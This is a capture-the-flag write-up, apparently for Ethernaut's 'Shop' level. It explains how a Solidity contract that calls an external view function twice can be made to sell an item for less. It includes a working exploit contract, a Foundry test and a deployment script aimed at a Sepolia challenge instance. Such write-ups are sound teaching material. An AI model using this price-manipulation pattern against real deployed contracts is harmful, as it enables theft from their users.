- in this challenge we explore restrictions of
view
functions through an interface
, similarly to level 11
for Elevator
.
- now, the goal is to find a way to buy items from a
Shop
contract for a lower price when compared to sold items.
- remember that a
view
function cannot modify the state of the contract.
- for instance, it cannot write to state variables, create other contracts, emit events, send ether with
call()
, use any low-level calls, use selfdestruct()
, call functions that pure
or view
, or use inline assembly with certain opcodes.
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
- the first part of this contract is the
interface Buyer
that defines as external view
function, price()
, representing the amount of wei
a Buyer
must pay:
interface Buyer {
function price() external view returns (uint);
}
- then, in the
Shop
contract, we have two state variables:
uint public price = 100;
bool public isSold;
- and a
public
function buy()
, where the price()
is being called twice.
- this is our vulnerability, as one should never trust external inputs (e.g., coming from the
interface
implementation):
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
- in other words,
Shop
expects Buyer
to return the price it is willing to pay to buy the item, believing that the price would not change the second time it is called, as it is a view
function.
- we will use this as our exploit, querying the value of
isSold()
and returning a different result based on our needs:
- the first time
price()
is called, it returns >100
to enter the loop.
- then, the second time, it can return anything lower.
- we craft the following exploit at
src/21/ShopExploit.sol
:
contract ShopExploit is Buyer {
Shop private level;
function price() external view returns (uint256) {
return level.isSold() ? 0 : 1337;
}
function run(Shop _level) public {
level = _level;
level.buy();
}
}
- check
test/21.Shop.t.sol
for testing this solution::
contract ShopTest is Test {
Shop public level = new Shop();
address instance = payable(vm.addr(0x10053));
address hacker = vm.addr(0x1337);
function setUp() public {
vm.prank(instance);
}
function testShopHack() public {
vm.startPrank(hacker);
console.log(level.isSold());
ShopExploit exploit = new ShopExploit();
exploit.run(level);
assert(level.isSold());
vm.stopPrank();
}
}
> forge test --match-contract ShopTest -vvvv
- then, submit the solution with
script/21/Shop.s.sol
:
contract Exploit is Script {
address instance = vm.envAddress("INSTANCE_LEVEL21");
address hacker = vm.rememberKey(vm.envUint("PRIVATE_KEY"));
Shop level = Shop(instance);
function run() external {
vm.startBroadcast(hacker);
ShopExploit exploit = new ShopExploit();
exploit.run(level);
vm.stopBroadcast();
}
}
> forge script ./script/21/Shop.s.sol --broadcast -vvvv --rpc-url sepolia